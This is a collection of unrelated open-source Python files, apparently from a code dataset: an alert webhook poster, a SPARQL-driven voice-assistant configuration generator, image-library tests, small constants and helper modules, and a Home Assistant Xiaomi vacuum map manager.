self.post_proxy = self.rule.get('http_post_proxy') self.post_payload = self.rule.get('http_post_payload', {}) self.post_static_payload = self.rule.get('http_post_static_payload', {}) self.post_all_values = self.rule.get('http_post_all_values', not self.post_payload) def alert(self, matches): """ Each match will trigger a POST to the specified endpoint(s). """ for match in matches: payload = match if self.post_all_values else {} payload.update(self.post_static_payload) for post_key, es_key in self.post_payload.items(): payload[post_key] = lookup_es_key(match, es_key) headers = { "Content-Type": "application/json", "Accept": "application/json;charset=utf-8" } proxies = {'https': self.post_proxy} if self.post_proxy else None for url in self.post_url: try: response = requests.post(url, data=json.dumps(payload, cls=DateTimeEncoder), headers=headers, proxies=proxies) response.raise_for_status() except RequestException as e: raise EAException("Error posting HTTP Post alert: %s" % e) elastalert_logger.info("HTTP Post alert sent.") def get_info(self): return {'type': 'http_post', 'http_post_webhook_url': self.post_url}

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generator_configuration.py

mariaangelapellegrino/virtual_assistant_generator

2

28863

from nltk.corpus import wordnet as wn import json from pyinflect import getAllInflections, getInflection import re import inflect import urllib.parse from SPARQLWrapper import SPARQLWrapper, JSON from urllib.parse import quote from py_thesaurus import Thesaurus import sys, getopt WN_NOUN = 'n' WN_VERB = 'v' WN_ADJECTIVE = 'a' WN_ADJECTIVE_SATELLITE = 's' WN_ADVERB = 'r' entities = {} properties = {} def nounify(verb_word): """ Transform a verb to the closest noun: die -> death """ verb_synsets = wn.synsets(verb_word, pos="v") # Word not found if not verb_synsets: return [] # Get all verb lemmas of the word verb_lemmas = [] for s in verb_synsets: for l in s.lemmas(): if s.name().split('.')[1] == 'v': verb_lemmas.append(l) print(verb_lemmas) # Get related forms derivationally_related_forms = [(l, l.derivationally_related_forms()) \ for l in verb_lemmas] # filter only the nouns related_noun_lemmas = [l for drf in derivationally_related_forms \ for l in drf[1] if l.synset().name().split('.')[1] == 'n'] # Extract the words from the lemmas words = [l.name() for l in related_noun_lemmas] len_words = len(words) # Build the result in the form of a list containing tuples (word, probability) result = [(w, float(words.count(w))/len_words) for w in set(words)] result.sort(key=lambda w: -w[1]) # return all the possibilities sorted by probability return result def convert(word, from_pos, to_pos): """ Transform words given from/to POS tags """ synsets = wn.synsets(word, pos=from_pos) # Word not found if not synsets: return [] # Get all lemmas of the word (consider 'a'and 's' equivalent) lemmas = [] for s in synsets: for l in s.lemmas(): if s.name().split('.')[1] == from_pos or from_pos in (WN_ADJECTIVE, WN_ADJECTIVE_SATELLITE) and s.name().split('.')[1] in (WN_ADJECTIVE, WN_ADJECTIVE_SATELLITE): lemmas += [l] # Get related forms derivationally_related_forms = [(l, l.derivationally_related_forms()) for l in lemmas] # filter only the desired pos (consider 'a' and 's' equivalent) related_noun_lemmas = [] for drf in derivationally_related_forms: for l in drf[1]: if l.synset().name().split('.')[1] == to_pos or to_pos in (WN_ADJECTIVE, WN_ADJECTIVE_SATELLITE) and l.synset().name().split('.')[1] in (WN_ADJECTIVE, WN_ADJECTIVE_SATELLITE): related_noun_lemmas += [l] # Extract the words from the lemmas words = [l.name() for l in related_noun_lemmas] len_words = len(words) # Build the result in the form of a list containing tuples (word, probability) result = [(w, float(words.count(w)) / len_words) for w in set(words)] result.sort(key=lambda w:-w[1]) # return all the possibilities sorted by probability return result def clean_value(value): value = value.lower() value = value.replace("$", "dollar ") #value = value.replace("€", "euro ") temp = '' for word in value.split(): if word.startswith('%'): word = urllib.parse.unquote(word) temp = temp + " " + word value = temp value = re.sub(r"[%][a-zA-Z0-9]+", "", value) value = value.replace("&", "and") value = value.replace("/", " or ") value = re.sub(r"([(].*[)])", "", value) value = value.replace("'", "") value = value.replace('"', "") value = value.replace(':', "") value = value.replace(',', "") value = value.replace('<', "") value = value.replace('>', "") value = value.replace('(', "") value = value.replace(')', "") value = value.replace('!', "") value = value.replace('\\', "") value = value.replace('+', " ") value = value.replace("_", " ") p = inflect.engine() temp = '' for word in value.split(): if word.isdigit() or bool(re.match('^([0-9]|[,]|[.])*$',word)): word = p.number_to_words(word) temp = temp + " " + word value = temp value = value.strip() value = re.sub(r"[ \s\n\t]+", " ", value) return value def contains_special_characters(value): return not bool(re.match('^([a-zA-Z]|[ ]|[-])*$',value)) def remove_ambiguities_slot_properties(): global properties #with open('./augmented_slot_properties.json') as f: # properties = json.load(f) all_properties_value = list(properties.keys()) for key in properties: if 'synonyms' in properties[key]: synonyms = properties[key]['synonyms'] new_synoynms= [] for synonym in synonyms: if not synonym in all_properties_value: all_properties_value.append(synonym) new_synoynms.append(synonym) properties[key]['synonyms'] = new_synoynms #with open("./augmented_slot_properties.json", "w") as write_file: # json.dump(properties, write_file, indent=4) def augment_slot_properties(): global properties #with open('./cleaned_slot_properties.json') as f: # properties = json.load(f) for key in properties: # nouns to verbs verb_tuples = convert(key, 'n', 'v') verb_form = [] for verb_tuple in verb_tuples: value = verb_tuple[0] value = clean_value(value) verb_form.append(value) verb_form = set(verb_form) # add verb inflections for verb in verb_form: temp = getAllInflections(verb) inflections = [] for t in temp: value = temp[t][0] value = clean_value(value) inflections.append(value) inflections = set(inflections) verb_form = verb_form.union(inflections) verb_form = set(verb_form) if key in verb_form: verb_form.remove(key) verb_form = list(verb_form) # nouns to adjectives adjective_tuples = convert(key, 'n', 'a') adjective_form = [] for adjective_tuple in adjective_tuples: value = adjective_tuple[0] value = clean_value(value) adjective_form.append(value) adjective_form = set(adjective_form) if key in adjective_form: adjective_form.remove(key) adjective_form = list(adjective_form) ''' # noun synonyms synonyms = [clean_value(l.name()) for synset in wn.synsets(key) for l in synset.lemmas()] synonyms = set(synonyms) temp = set() for s in synonyms: if not s in all_augmented_value: temp.add(s) #if key in temp: # temp.remove(key) synonyms = list(temp) # combine all extended_synonyms = list(set(verb_form + synonyms + adjective_form)) ''' extended_synonyms = list(set(verb_form + adjective_form)) if extended_synonyms: properties[key]["synonyms"] = extended_synonyms #with open("./augmented_slot_properties.json", "w") as write_file: # json.dump(properties, write_file, indent=4) def clean_slot_properties(): global properties #with open('./slot_properties.json') as f: # properties = json.load(f) cleaned_properties = {} for key in properties: if contains_special_characters(key): new_key = clean_value(key) else: new_key = key if new_key and len(new_key.strip())>0 and not contains_special_characters(new_key): if not new_key in cleaned_properties: cleaned_properties[new_key] = {'urls':[]} cleaned_properties[new_key]['urls'] = list(set(cleaned_properties[new_key]['urls'] + properties[key]['urls'])) if 'synonyms' in properties[key]: if not 'synonyms' in cleaned_properties[new_key]: cleaned_properties[new_key]['synonyms'] = [] cleaned_properties[new_key]['synonyms'] = list(set(cleaned_properties[new_key]['synonyms'] + properties[key]['synonyms'])) #with open("./cleaned_slot_properties.json", "w") as write_file: # json.dump(cleaned_properties, write_file, indent=4) properties = cleaned_properties def augment_slot_entities(): with open('./cleaned_slot_entities.json') as f: entities = json.load(f) for key in entities: synonyms = [clean_value(l.name()) for synset in wn.synsets(key) for l in synset.lemmas()] synonyms = set(synonyms) if key in synonyms: synonyms.remove(key) synonyms = list(synonyms) if synonyms: entities[key]["synonyms"] = synonyms with open("./augmented_slot_entities.json", "w") as write_file: json.dump(entities, write_file, indent=4) def clean_slot_entities(): global entities #with open('./slot_entities.json') as f: # entities = json.load(f) cleaned_entities = {} for key in entities: if contains_special_characters(key): new_key = clean_value(key) else: new_key = key if new_key and len(new_key.strip())>0 and not contains_special_characters(new_key): if not new_key in cleaned_entities: cleaned_entities[new_key] = {'urls':[]} cleaned_entities[new_key]['urls'] = list(set(cleaned_entities[new_key]['urls'] + entities[key]['urls'])) if 'synonyms' in entities[key]: if not 'synonyms' in cleaned_entities[new_key]: cleaned_entities[new_key]['synonyms'] = [] cleaned_entities[new_key]['synonyms'] = list(set(cleaned_entities[new_key]['synonyms'] + entities[key]['synonyms'])) #with open("./cleaned_slot_entities.json", "w") as write_file: # json.dump(cleaned_entities, write_file, indent=4) entities = cleaned_entities def generate_entity_label(slot): parts = slot["class"]["value"].split("/") label = parts[-1] if "#" in label: parts = label.split("#") label = parts[-1] s1 = re.sub('(.)([A-Z][a-z]+)', r'\1_\2', label) label = re.sub('([a-z0-9])([A-Z])', r'\1_\2', s1).lower() label = label.replace("_", " ") return label def store_entities(result): global entities for slot in result["results"]["bindings"]: if "label" not in slot or "value" not in slot["label"] : label = generate_entity_label(slot) else: label = slot["label"]["value"] label = label.lower() if len(label) < 140: if label not in entities: entities[label] = {"urls" : set()} entities[label]["urls"].add("<"+slot["class"]["value"]+">") def query_skosConcepts(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX skos: <http://www.w3.org/2004/02/skos/core#> " "SELECT DISTINCT ?class ?label WHERE { " "?class a skos:Concept." "OPTIONAL{ " "?class skos:prefLabel ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "} ") sparql.setQuery(query) sparql.setReturnFormat(JSON) result = sparql.query().convert() try: result = sparql.query().convert() store_entities(result) print("OK skos:concepts query") except: print("Failed skos:concepts query") pass def query_rdfsClasses(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> " "SELECT DISTINCT ?class ?label WHERE { " "?class a rdfs:Class. " "OPTIONAL{ " "?class rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "} ") sparql.setQuery(query) sparql.setReturnFormat(JSON) result = sparql.query().convert() try: result = sparql.query().convert() store_entities(result) print("OK rdfs:classes query") except: print("Failed rdfs:classes query") pass def query_owlClasses(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX owl: <http://www.w3.org/2002/07/owl#> " "PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> " "SELECT DISTINCT ?class ?label WHERE { " "?class a owl:Class. " "OPTIONAL{ " "?class rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "}") sparql.setQuery(query) sparql.setReturnFormat(JSON) result = sparql.query().convert() try: result = sparql.query().convert() store_entities(result) print("OK owl classes query") except: print("Failed owl classes query") pass def query_usedClasses(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> " "SELECT DISTINCT ?class ?label WHERE { " "[] a ?class. " "OPTIONAL{ " "?class rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "} ") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() store_entities(result) print("OK used classes query") except: print("Failed used classes query") pass def query_entities(sparql_endpoint, defaultGraph = "", lang="en"): global entities query_usedClasses(sparql_endpoint, defaultGraph=defaultGraph, lang= lang) query_skosConcepts(sparql_endpoint, defaultGraph=defaultGraph, lang= lang) query_rdfsClasses(sparql_endpoint, defaultGraph=defaultGraph, lang= lang) query_owlClasses(sparql_endpoint, defaultGraph= defaultGraph, lang= lang) for e in entities: entities[e]["urls"] = list(entities[e]["urls"]) #with open("./slot_entities.json", "w") as write_file: # json.dump(entities, write_file, indent=4) def generate_property_label(slot): parts = slot["p"]["value"].split("/") label = parts[-1] if "#" in label: parts = label.split("#") label = parts[-1] s1 = re.sub('(.)([A-Z][a-z]+)', r'\1_\2', label) label = re.sub('([a-z0-9])([A-Z])', r'\1_\2', s1).lower() label = label.replace("_", " ") return label def store_properties(result): global properties for slot in result["results"]["bindings"]: if "label" not in slot or "value" not in slot["label"] : label = generate_property_label(slot) else: label = slot["label"]["value"] label = label.lower() if len(label) < 140: if label not in properties: properties[label] = {"urls" : set()} properties[label]["urls"].add("<"+slot["p"]["value"]+">") def query_rdfProperty(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> " "PREFIX rdf: <https://www.w3.org/1999/02/22-rdf-syntax-ns#>" "SELECT DISTINCT ?p ?label WHERE { " "?p rdf:type rdf:Property. " "OPTIONAL{ " "?p rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "}") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() store_properties(result) print("OK rdf:Property query") except: print("failed rdf:Property query") pass def query_owlDatatypeProperties(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>" "PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#>" "PREFIX owl: <http://www.w3.org/2002/07/owl#>" "SELECT DISTINCT ?p ?label WHERE { " "?p rdf:type owl:DatatypeProperty. " "OPTIONAL{ " "?p rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "}") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() store_properties(result) print("OK owl:DatatypeProperty query") except: print("failed owl:DatatypeProperty query") pass def query_owlObjectProperties(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>" "PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#>" "PREFIX owl: <http://www.w3.org/2002/07/owl#>" "SELECT DISTINCT ?p ?label WHERE { " "?p rdf:type owl:ObjectProperty. " "OPTIONAL{ " "?p rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "}") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() store_properties(result) print("OK owl:ObjectProperty query") except: print("failed owl:ObjectProperty query") pass def query_usedPropertiesWithoutLabels(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("SELECT DISTINCT ?p WHERE { ?s ?p ?o. }") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() store_properties(result) print("OK used property without labels query") except: print("failed used property without labels query") pass def query_usedProperties(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> " "SELECT DISTINCT ?p ?label WHERE { " "?s ?p ?o. " "OPTIONAL{ " "?p rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "} LIMIT 500") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() store_properties(result) print("OK used property with labels query") except: print("failed used property with labels query") query_usedPropertiesWithoutLabels(sparql_endpoint, defaultGraph, lang) def query_properties(sparql_endpoint, defaultGraph = "", lang="en"): global properties #query_usedProperties(sparql_endpoint, defaultGraph=defaultGraph, lang= lang) query_usedPropertiesWithoutLabels(sparql_endpoint, defaultGraph=defaultGraph, lang=lang) query_owlObjectProperties(sparql_endpoint, defaultGraph=defaultGraph, lang= lang) query_owlDatatypeProperties(sparql_endpoint, defaultGraph=defaultGraph, lang= lang) query_rdfProperty(sparql_endpoint, defaultGraph= defaultGraph, lang= lang) for p in properties: properties[p]["urls"] = list(properties[p]["urls"]) #with open("./slot_properties.json", "w") as write_file: # json.dump(properties, write_file, indent=4) def main(argv): endpoint = "" # e.g., "http://dbpedia.org/sparql" defaultGraph = "" # e.g., "http://dbpedia.org" lang = None #"en" default invocation_name = None #"my personal assistant" default intents = [ "getAllResultsPreviousQuery", "getQueryExplanation", "getFurtherDetails", "getPropertyObject", "getDescription", "getNumericFilter", "getNumericFilterByClass", "getClassInstances", "getTripleVerification", "getLocation", "getSuperlative", "getPropertySubjectByClass", "getPropertySubject" ] result_limit = 5 if len(argv) == 0: print('generator_configuration.py -e SPARQ_endpoint -g default graph [-l lang -i invocation name]') sys.exit(2) try: opts, args = getopt.getopt(argv,"he:g:li:",["endpoint=","graph=","lang","invocation_name"]) except getopt.GetoptError: print('generator_configuration.py -e SPARQ_endpoint -g default graph [-l lang -i invocation name]') sys.exit(2) for opt, arg in opts: if opt == '-h': print('generator_configuration.py -e SPARQ_endpoint -g default graph [-l lang -i invocation name]') sys.exit() elif opt in ("-e", "--endpoint"): endpoint = arg elif opt in ("-g", "--graph"): defaultGraph = arg elif opt in ("-l", "--lang") and (arg == "en" or arg == "it"): lang = arg elif opt in ("-i", "--invocation_name"): invocation_name = arg if lang is None: lang="en" if invocation_name is None: invocation_name = "my personal assistant" print('SPARQL endpoint: ', endpoint) print('Graph: ', defaultGraph) print('Lang: ', lang) print('Invocation name: ', invocation_name) print("Querying entities...") query_entities(endpoint, defaultGraph=defaultGraph, lang=lang) print("Cleaning class labels...") clean_slot_entities() #print("Augmenting class labels...") #augment_slot_entities() print("Querying properties...") query_properties(endpoint, defaultGraph=defaultGraph, lang=lang) print("Cleaning property labels...") clean_slot_properties() print("Augmenting property labels...") augment_slot_properties() remove_ambiguities_slot_properties() ''' with open('./augmented_slot_properties.json') as f: properties = json.load(f) ''' if "label" in properties and len(properties["label"]["urls"])>1: dict_label = {} for prop_label in properties["label"]["urls"]: sparql = SPARQLWrapper(endpoint, defaultGraph=defaultGraph) query = ("SELECT COUNT(*) as ?count WHERE { " "?s " + prop_label + " ?o. " "}") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() result = result['results']['bindings'][0] dict_label[prop_label] = result['count']['value'] except: pass key_max = max(dict_label, key= lambda x: dict_label[x]) properties["label"]["urls"] = [key_max] ''' with open('./cleaned_slot_entities.json') as f: entities = json.load(f) ''' conf = { "invocation_name" : invocation_name, "intents" : intents, "lang" : lang, "result_limit" : result_limit, "endpoint" : endpoint, "entity" : entities, "property" : properties } with open("./conf.json", "w") as write_file: json.dump(conf, write_file, indent=4) if __name__ == "__main__": main(sys.argv[1:])

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tests/test_library.py

dsecca/FotoFriend_LanguageBinding

0

150335

import pytest import fotofriend import urllib.request import os class TestLibrary: def test_login(self): links = fotofriend.login("fotofriendtest") assert links == { 'Links': ['https://s3-us-west-2.amazonaws.com/foto-friend/5a1848632bc46432713be66d/dog.jpg'] } @pytest.mark.dependency() def test_upload(self): urllib.request.urlretrieve('http://www.catster.com/wp-content/uploads/2017/08/A-fluffy-cat-looking-funny-surprised-or-concerned.jpg', 'tmp.jpg') file = open('tmp.jpg', 'rb').read() code = fotofriend.uploadImage(file, "tmp.jpg", "fotofriendtest") os.remove("tmp.jpg") assert code == 1 @pytest.mark.dependency(depends=['test_upload']) def test_delete(self): code = fotofriend.deleteImage("https://s3-us-west-2.amazonaws.com/foto-friend/5a1848632bc46432713be66d/tmp.jpg", "fotofriendtest") assert code == 200 def test_filter(self): links = fotofriend.filter(["dog"], "fotofriendtest") assert links == { 'Links': ['https://s3-us-west-2.amazonaws.com/foto-friend/5a1848632bc46432713be66d/dog.jpg'] }

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colornumber.py

kkdp13/testforbot

0

197499

# colorcodingfor rows(...) def colornumber(color): if color == 'd': return 0 elif color == 'e': return 1 elif color == 'f': return 2 elif color == 'g': return 3 elif color == 'h': return 4 elif color == 'i': return 5 elif color == 'j': return 6 elif color == 'k': return 7 elif color == 'l': return 8 else: return 9

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pyppi/base/constants.py

Aniket-Pradhan/pyPPI

7

1609726

<gh_stars>1-10 """Definitions of some commonly used variables throughout the application.""" __all__ = [ 'P1', 'P2', 'G1', 'G2', 'SOURCE', 'TARGET', 'LABEL', 'PUBMED', 'EXPERIMENT_TYPE', 'NULL_VALUES', ] import numpy as np P1 = 'protein_a' P2 = 'protein_b' G1 = 'gene_a' G2 = 'gene_b' SOURCE = 'source' TARGET = 'target' LABEL = 'label' PUBMED = 'pubmed' EXPERIMENT_TYPE = 'experiment_type' NULL_VALUES = ( '', 'None', 'NaN', 'none', 'nan', '-', 'unknown', None, ' ', np.NaN ) MAX_SEED = 1000000

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custom_components/xiaomi_cloud_map_extractor/vacuum_manager.py

elad-bar/Home-Assistant-custom-components-Xiaomi-Cloud-Map-Extractor

0

29139

import io import logging import time from typing import List, Optional from custom_components.xiaomi_cloud_map_extractor.common.map_data import MapData from custom_components.xiaomi_cloud_map_extractor.types import Colors, Drawables, ImageConfig, Sizes, Texts try: from miio import RoborockVacuum, DeviceException except ImportError: from miio import Vacuum as RoborockVacuum, DeviceException import PIL.Image as Image from homeassistant.const import CONF_HOST, CONF_NAME, CONF_PASSWORD, CONF_TOKEN, CONF_USERNAME from custom_components.xiaomi_cloud_map_extractor.common.map_data_parser import MapDataParser from custom_components.xiaomi_cloud_map_extractor.common.xiaomi_cloud_connector import XiaomiCloudConnector from custom_components.xiaomi_cloud_map_extractor.const import * from custom_components.xiaomi_cloud_map_extractor.dreame.vacuum import DreameVacuum from custom_components.xiaomi_cloud_map_extractor.enums import CameraStatus from custom_components.xiaomi_cloud_map_extractor.roidmi.vacuum import RoidmiVacuum from custom_components.xiaomi_cloud_map_extractor.unsupported.vacuum import UnsupportedVacuum from custom_components.xiaomi_cloud_map_extractor.viomi.vacuum import ViomiVacuum from custom_components.xiaomi_cloud_map_extractor.xiaomi.vacuum import XiaomiVacuum _LOGGER = logging.getLogger(__name__) DEVICE_MAPPING = { CONF_AVAILABLE_API_XIAOMI: XiaomiVacuum, CONF_AVAILABLE_API_VIOMI: ViomiVacuum, CONF_AVAILABLE_API_ROIDMI: RoidmiVacuum, CONF_AVAILABLE_API_DREAME: DreameVacuum, } STATUS_LOG_LEVEL = { CameraStatus.FAILED_TO_RETRIEVE_DEVICE: _LOGGER.error, CameraStatus.UNABLE_TO_PARSE_MAP: _LOGGER.warning, CameraStatus.UNABLE_TO_RETRIEVE_MAP: _LOGGER.warning } class VacuumManager: def __init__(self, config): host: str = config[CONF_HOST] token: str = config[CONF_TOKEN] username: str = config[CONF_USERNAME] password: str = config[CONF_PASSWORD] drawables = config.get(CONF_DRAW, []) room_colors = config.get(CONF_ROOM_COLORS, {}) colors: Colors = config.get(CONF_COLORS, {}) for room, color in room_colors.items(): colors[f"{COLOR_ROOM_PREFIX}{room}"] = color self._vacuum = RoborockVacuum(host, token) self._connector = XiaomiCloudConnector(username, password) self._name: str = config.get(CONF_NAME, DEFAULT_NAME) self._should_poll: bool = config.get(CONF_AUTO_UPDATE, True) self._image_config: ImageConfig = config.get(CONF_MAP_TRANSFORM, DEFAULT_MAP_TRANSFORM) self._colors: Colors = colors self._drawables: Drawables = CONF_AVAILABLE_DRAWABLES[1:] if DRAWABLE_ALL in drawables else drawables self._sizes: Sizes = config.get(CONF_SIZES, DEFAULT_SIZES) self._texts: Texts = config.get(CONF_TEXTS, []) self._country: str = config.get(CONF_COUNTRY) self._allowed_attributes: List[str] = config.get(CONF_ATTRIBUTES, []) self._store_map_raw: bool = config.get(CONF_STORE_MAP_RAW, False) self._store_map_image: bool = config.get(CONF_STORE_MAP_IMAGE) self._store_map_path: str = config.get(CONF_STORE_MAP_PATH, DEFAULT_STORE_MAP_PATH) self._forced_api: str = config.get(CONF_FORCE_API) self._device = None self._used_api = None self._map_saved = None self._image = None self._map_data = None self._logged_in = False self._logged_in_previously = True self._received_map_name_previously = True self._attributes = {} self._status = CameraStatus.INITIALIZING @property def image(self) -> Optional[bytes]: return self._image @property def name(self): return self._name @property def attributes(self): return self._attributes @property def should_poll(self): return self._should_poll def turn_on(self): self._should_poll = True def turn_off(self): self._should_poll = False def _get_attributes_data(self): map_data = self._map_data rooms = [] if self._map_data.rooms is not None: rooms = dict( filter(lambda x: x[0] is not None, map(lambda x: (x[0], x[1].name), self._map_data.rooms.items()))) if len(rooms) == 0: rooms = list(self._map_data.rooms.keys()) attributes = { ATTRIBUTE_CALIBRATION: map_data.calibration(), ATTRIBUTE_CHARGER: map_data.charger, ATTRIBUTE_CLEANED_ROOMS: map_data.cleaned_rooms, ATTRIBUTE_COUNTRY: self._country, ATTRIBUTE_GOTO: map_data.goto, ATTRIBUTE_GOTO_PATH: map_data.goto_path, ATTRIBUTE_GOTO_PREDICTED_PATH: map_data.predicted_path, ATTRIBUTE_IGNORED_OBSTACLES: map_data.ignored_obstacles, ATTRIBUTE_IGNORED_OBSTACLES_WITH_PHOTO: map_data.ignored_obstacles_with_photo, ATTRIBUTE_IMAGE: map_data.image, ATTRIBUTE_IS_EMPTY: map_data.image.is_empty, ATTRIBUTE_MAP_NAME: map_data.map_name, ATTRIBUTE_NO_GO_AREAS: map_data.no_go_areas, ATTRIBUTE_NO_MOPPING_AREAS: map_data.no_mopping_areas, ATTRIBUTE_OBSTACLES: map_data.obstacles, ATTRIBUTE_OBSTACLES_WITH_PHOTO: map_data.obstacles_with_photo, ATTRIBUTE_PATH: map_data.path, ATTRIBUTE_ROOM_NUMBERS: rooms, ATTRIBUTE_ROOMS: map_data.rooms, ATTRIBUTE_VACUUM_POSITION: map_data.vacuum_position, ATTRIBUTE_VACUUM_ROOM: map_data.vacuum_room, ATTRIBUTE_VACUUM_ROOM_NAME: map_data.vacuum_room_name, ATTRIBUTE_WALLS: map_data.walls, ATTRIBUTE_ZONES: map_data.zones } return attributes def _update_attributes(self): attributes = {} if self._map_data is not None: data = self._get_attributes_data() for name, value in data.items(): if name in self._allowed_attributes: attributes[name] = value if self._store_map_raw: attributes[ATTRIBUTE_MAP_SAVED] = self._map_saved if self._device is not None: attributes[ATTR_MODEL] = self._device.model attributes[ATTR_USED_API] = self._used_api if self._connector.two_factor_auth_url is not None: attributes[ATTR_TWO_FACTOR_AUTH] = self._connector.two_factor_auth_url self._attributes = attributes def update(self, now): counter = 10 if self._status != CameraStatus.TWO_FACTOR_AUTH_REQUIRED and not self._logged_in: self._handle_login() if self._device is None and self._logged_in: self._handle_device() map_name = self._handle_map_name(counter) if map_name == "retry" and self._device is not None: self._set_status(CameraStatus.FAILED_TO_RETRIEVE_MAP_FROM_VACUUM) self._received_map_name_previously = map_name != "retry" if self._logged_in and map_name != "retry" and self._device is not None: self._handle_map_data(map_name) else: exists = self._device is not None _LOGGER.debug( f"Unable to retrieve map ({now}), " f"Logged in: {self._logged_in} | " f"Map name: {map_name} | " f"Device retrieved: {exists}" ) message = str(self._status) map_data = MapDataParser.create_empty(self._colors, message) self._set_map_data(map_data) self._logged_in_previously = self._logged_in self._update_attributes() def _handle_login(self): _LOGGER.debug("Logging in...") self._logged_in = self._connector.login() if self._logged_in is None: self._set_status(CameraStatus.TWO_FACTOR_AUTH_REQUIRED) elif self._logged_in: self._set_status(CameraStatus.LOGGED_IN) else: self._set_status(CameraStatus.FAILED_LOGIN) if self._logged_in_previously: _LOGGER.error("Unable to log in, check credentials") def _handle_device(self): _LOGGER.debug(f"Retrieving device info, country: {self._country}") country, user_id, device_id, model = self._connector.get_device_details(self._vacuum.token, self._country) if model is not None: self._country = country _LOGGER.debug(f"Retrieved device model: {model}") self._used_api = self._detect_api(model) device_init = DEVICE_MAPPING.get(self._used_api, UnsupportedVacuum) self._device = device_init(self._connector, self._country, user_id, device_id, model) _LOGGER.debug(f"Created device, used api: {self._used_api}") else: self._set_status(CameraStatus.FAILED_TO_RETRIEVE_DEVICE) def _handle_map_name(self, counter): map_name = "retry" if self._device is not None and not self._device.should_get_map_from_vacuum(): map_name = "0" while map_name == "retry" and counter > 0: _LOGGER.debug("Retrieving map name from device") time.sleep(0.1) try: map_name = self._vacuum.map()[0] _LOGGER.debug("Map name %s", map_name) except OSError as exc: _LOGGER.error(f"Got OSError while fetching the state: {str(exc)}") except DeviceException as exc: if self._received_map_name_previously: _LOGGER.warning(f"Got exception while fetching the state: {str(exc)}") self._received_map_name_previously = False finally: counter = counter - 1 return map_name def _handle_map_data(self, map_name): _LOGGER.debug("Retrieving map from Xiaomi cloud") store_map_path = self._store_map_path if self._store_map_raw else None map_data, map_stored = self._device.get_map(map_name, self._colors, self._drawables, self._texts, self._sizes, self._image_config, store_map_path) if map_data is not None: # noinspection PyBroadException try: _LOGGER.debug("Map data retrieved") self._set_map_data(map_data) self._map_saved = map_stored if self._map_data.image.is_empty: self._set_status(CameraStatus.EMPTY_MAP) if self._map_data is None or self._map_data.image.is_empty: self._set_map_data(map_data) else: self._set_map_data(map_data) self._set_status(CameraStatus.OK) except Exception as ex: self._set_status(CameraStatus.UNABLE_TO_PARSE_MAP, ex) else: self._logged_in = False self._set_status(CameraStatus.UNABLE_TO_RETRIEVE_MAP) def _set_status(self, status, ex: Optional[Exception] = None): log = STATUS_LOG_LEVEL.get(status, _LOGGER.debug) log_message = status if ex is not None: log_message = f"{status}, Error: {str(ex)}" self._status = status log(log_message) def _set_map_data(self, map_data: MapData): img_byte_arr = io.BytesIO() map_data.image.data.save(img_byte_arr, format='PNG') self._image = img_byte_arr.getvalue() self._map_data = map_data self._store_image() def _detect_api(self, model: str): if self._forced_api is not None: return self._forced_api if model in API_EXCEPTIONS: return API_EXCEPTIONS[model] def list_contains_model(prefixes): return len(list(filter(lambda x: model.startswith(x), prefixes))) > 0 filtered = list(filter(lambda x: list_contains_model(x[1]), AVAILABLE_APIS.items())) if len(filtered) > 0: return filtered[0][0] return CONF_AVAILABLE_API_XIAOMI def _store_image(self): if self._store_map_image: try: if self._image is not None: image = Image.open(io.BytesIO(self._image)) image.save(f"{self._store_map_path}/map_image_{self._device.model}.png") except Exception as ex: _LOGGER.warning(f"Error while saving image, Error: {str(ex)}")

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docs/stats_explainer.py

msdslab/ASReview-vizualisation

1

78189

